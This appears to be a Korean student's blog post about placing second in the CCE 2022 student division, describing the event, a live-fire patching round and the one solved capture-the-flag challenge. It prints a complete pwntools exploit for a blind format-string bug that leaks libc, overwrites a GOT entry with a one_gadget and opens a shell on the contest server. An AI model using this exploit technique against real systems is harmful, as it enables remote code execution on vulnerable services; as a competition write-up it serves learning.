Sechack

CCE 2022 학생부 준우승 후기 본문

CTF

CCE 2022 학생부 준우승 후기

Sechack 2022. 10. 31. 01:59
반응형

올해 CCE에 학생부가 처음 생겼다. 그리고 준우승을 하게 되었다.

 

 

숙소를 제공해줘서 맘에 들었고 대회 끝나고는 밤새 숙소에서 노가리 까면서 놀았다. 수련회나 수학여행 느낌 나서 좋았다. 밥은 WACON때와 똑같이 도시락으로 줬는데 WACON때가 훨씬 맛있었다. 상장 밑에 보면 2021년이라고 오타 나있는데 수정해달라고 요청할 생각이다.

 

 

숙소앞에 귀여운 고양이가 있길래 얘도 찍어봤다.

 

 

큰대회에서 상받는건 처음인데 기분이 매우 좋다. 달달하다.

 

https://www.boannews.com/media/view.asp?idx=111110

 

국정원 주최 ‘2022 사이버공격방어대회’, The Duck팀 종합우승

국가정보원이 대구광역시, 경상북도와 함께 주최하고 국가보안기술연구소가 주관한 ‘2022 사이버공격방어대회’(CCE: Cyber Conflict Exercise)가 10월 28일 막을 내렸다.

www.boannews.com

 

내가 나오는 단체사진도 기사에 실렸다. ㅎㅎ

 

기존 CTF에 있던 문제풀이 형식과 함께 5개의 취약점이 있는 바이너리가 돌아가고 있고 15분마다 공격이 들어와서 취약점을 빠르게 패치해서 패치된 바이너리를 올리지 않으면 점수가 까이는 방식의 Live-fire형식도 있었다. Live-fire를 처음 들었을때는 청소년들은 다들 처음일테니까 저게 변수가 될 수 있다고 생각은 했었는데 학생부에서는 우리팀만 패치 5개중에 2개 했고 그 외에는 1팀이 하나 패치했고 나머지는 전부 패치를 하지 않았다. 덕분에 달달하게 준우승 할 수 있었다. 문제가 엄청 어렵게 나와서 일반부에서도 많이 고전한거같고 학생부에서는 문제가 거의 안풀렸다. 우리 팀도 총합 1솔밖에 못했었는데 Live-fire에서 점수를 올려서 준우승 한것이다.

 

그 한문제는 뭐였냐면 바이너리를 안주는 blind fsb였다. 처음에는 스택이나 환경변수에 플래그 있을줄알고 오프셋 늘려가면서 브포때려봤는데 안나오길래 셸따기로 마음먹고 스택에서 터지는 fsb는 페이로드 길이가 충분하다면 기본적으로 airbitray read와 airbitray write가 가능하다는 특징을 이용해서 0x400000부터 쭉 덤프뜨는 시도를 해봤는데 분명히 코드를 맞게 짰는데도 덤프가 이상하게 떠지는것이다. 그래서 포기하고 그냥 libc주소 릭해서 libc database에 넣어보고 offset구해서 libc got를 one_gadget으로 덮어서 셸 땄다.

 

from pwn import *

context.arch = "amd64"

r = remote("13.125.44.4", 20001)
libc = ELF("./libc6_2.31-0ubuntu9.9_amd64.so")

def find_gadget(opcode):
    i = 0
    while True:
        r.sendlineafter("command : ", b"%7$saaaa"+p64(0x401000+i))
        log.info(hex(i))
        data = r.recv()
        if b"\x5f\xc3" in data:
            print(hex(0x401000+i))
            return [0x401000+i, data]
        i += 8

def dump():
    i = 0
    f = open("./dump", "wb")
    while True:
        r.sendlineafter("command : ", b"%7$saaaa"+p64(0x400000+i))
        data = r.recvuntil(" [Command Failed]").replace(b" [Command Failed]", b"").replace(b"aaaa", b"")
        print(data)
        if i >= 0x10000:
            f.close()
            break
        elif data == b'':
            f.write(b"\x00")
            i += 1
        else:
            f.write(data)
            i += len(data)

#dump()
#success("ok")

#gadget = find_gadget(asm("pop rdi; ret"))
#pop_rdi = gadget[0] + gadget[1].index(asm("pop rdi; ret")[0])
pop_rdi = 0x401c43
ret = pop_rdi + 1

#r.sendlineafter("command : ", b"%p."*50)

r.sendlineafter("command : ", b"%42$p")

libc_leak = int(r.recv(14), 16)
libc_base = libc_leak - 0x24083
system = libc_base + libc.sym["system"]
binsh = libc_base + list(libc.search(b"/bin/sh\x00"))[0]
one = libc_base + 0xe3b01
aaw = libc_base + 0x1ec0a8
log.info(hex(libc_base))

low = one & 0xffff
high = (one >> 16) & 0xffff

if low > high:
        high = (high - low) + 0x10000
else:
        high = high - low

payload = ("%{}c".format(low)).encode()
payload += b"%10$hn"
payload += ("%{}c".format(high)).encode()
payload += b"%11$hn"
payload += b"a"*(8 - (len(payload) % 8))
print(len(payload))
payload += p64(aaw)
payload += p64(aaw+2)

r.sendlineafter("command : ", payload)

#test = b"0xfff80000ff00.0x7ffeb9fb3848.0xc0f8fff801ffff00.0x7ffeb9fb3758.0x9c0000009c0.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.(nil).(nil).0xcd906e3566962a00.0x401be0.(nil).0x4013c0.0x7f41aa055083"

#print(len(test.split(b".")))

r.interactive()

 

문제풀이에 사용한 페이로드이다. 이 문제만 학생부에서 4솔이 나왔고 나머지는 웹 문제 하나 2솔 나온거 빼고는 학생부에서 풀린 문제가 없다. Live-fire에서는 fsb와 oob취약점이 눈에 보이길래 패치했었다. oob는 숫자만 바꾸면 되는거였고 fsb를 패치하는데 많이 고민을 했었다. 리버서 팀원과 같이 고민했었는데 처음에 20byte패치 제한이 있는줄 모르고 code caving으로 슥삭 하려다가 바이너리가 안올라가서 문의했던적도 있다. 결국에는 리버서 팀원이 sprintf함수에서 스택으로 복사하면서 터지는건데 해당 지역변수를 쓰는 함수가 한두개밖에 없으니까 그냥 sprintf를 nop처리해서 복사하지 말고 원본 주소를 사용하자는 아이디어를 냈고 그 방법으로 정상적으로 패치가 되었다.

반응형
Comments